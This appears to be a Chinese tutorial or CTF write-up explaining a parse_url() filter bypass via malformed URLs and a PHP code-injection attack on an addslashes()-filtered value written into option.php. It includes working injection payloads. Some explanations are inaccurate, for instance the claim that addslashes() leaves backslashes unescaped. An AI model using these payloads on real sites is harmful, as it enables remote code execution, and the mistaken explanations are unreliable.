prase_url()&addslashes()
prase_url函数
我们首先来看一段代码
<?php
$data = parse_url($_SERVER['REQUEST_URI']);
var_dump($data);
$filter=array("aaa","qqqq");
foreach($filter as $f)
{
if(preg_match("/".$f."/i", $data['query']))
{
die("Attack Detected");
}
}
?>
首先要明白这个函数的逻辑是啥
$data = parse_url($_SERVER['REQUEST_URI']);
这行代码使用 parse_url
函数解析当前请求的URL,并将结果存储在 $data
数组中。$_SERVER['REQUEST_URI']
包含了当前请求的完整URI。$_SERVER是PHP的一个超全局变量,用于存储Web服务器和运行环境创建的信息。
var_dump()
是 PHP 中一个非常有用的函数,用于输出变量的详细信息,包括类型和值。它可以用于调试代码、了解变量的结构和内容,以及进行变量类型的检查。
正则匹配的语法
"/".$f."/i"
"/"
:正则表达式的起始定界符。$f
:变量,表示要匹配的模式字符串。"/"
:正则表达式的结束定界符。i
:修饰符,表示不区分大小写进行匹配。
hack fun
我们对上面那段代码做一个尝试
访问1:
http://www.phpstudy.com/test.php?a=1
返回结果:
array(2) { ["path"]=> string(9) "/test.php" ["query"]=> string(3) "a=1" }
访问2:构造畸形访问
http://www.phpstudy.com//test.php?/aaa
返回结果
array(2) { ["host"]=> string(9) "test.php?" ["path"]=> string(4) "/aaa" }
Notice: Undefined index: query in D:\phpstudy_pro\WWW\www.phpstudy.com\test.php on line 7
Notice: Undefined index: query in D:\phpstudy_pro\WWW\www.phpstudy.com\test.php on line 7
可以看到 :parse_url()会认为 test.php?
是host 、/aaa
是路径
访问3:
http://www.phpstudy.com///test.php?/aaa
返回结果
bool(false)
其中//
只适用于php5.4.7以前,///
适用于php7
addslashes()
话不多说,直接上题
<?php
$str = addslashes($_GET['option']);
$file = file_get_contents('xxxxx/option.php');
$file = preg_replace('|\$option=\'.*\';|', "\$option='$str';", $file);
file_put_contents('xxxxx/option.php', $file);
?>
首先理解这段代码的逻辑
$str = addslashes($_GET['option']);
$_GET
老朋友了,就是获取GET参数option
addslashes()
函数,这个有点眼熟;但是忘记了,搜索一番发现,这是一个转义的函数。
$file = file_get_contents('xxxxx/option.php');
file_get_contents()
函数:输入是一个路径,输出是该路径下的内容。
$file = preg_replace('|\$option=\'.*\';|', "\$option='$str';", $file);
preg_replace()
函数是对文件内容进行正则表达式替换操作。它会查找文件中形如$option='xxx'
;这样的字符串,并将其替换为$option=$str
;
正则表达式: |\$option=\'.*\';|
|
: 正则表达式的定界符,可以使用任何非字母、非数字、非反斜杠的字符作为定界符号。\$option=
:这部分匹配了字符串中的$option=
。$
在正则表达式中是特殊字符,需要使用反斜杠\
进行转义。- \`:这部分匹配单引号。
.*
:匹配任意数量的任意字符(除了换行符)。.
表示匹配任意单个字符,*
表示匹配前面的字符零次或多次。
file_put_contents('xxxxx/option.php', $file);
最后一行使用 file_put_contents()
函数将修改后的文件内容写回到名为option.php
的文件中,完成对文件的更新操作。
hack fun
方法1
这个漏洞触发逻辑用一句话概括就是:逃离数据域,到达代码逻辑域。
由于正则匹配会匹配除换行符以外的字符;并且addslashes()
也不会转义换行符%0a
第一次payload
?option=abc';phpinfo();%0a//
此时option.php中的内容为
<?php
$option = 'aaa\';phpinfo();
//';
?>
第二次随便传入什么
?option=def
此时option.php中的内容为:
<?php
$option = 'def';phpinfo();
//';
?>
正则匹配直接把转义符也替换掉了🤣
方法二
payload
option=;&option=%5c%27;phpinfo();//
%5c
是反斜杠的html编码
addslashes()
只能转换单引号;而不转换反斜杠 ;所以能成功。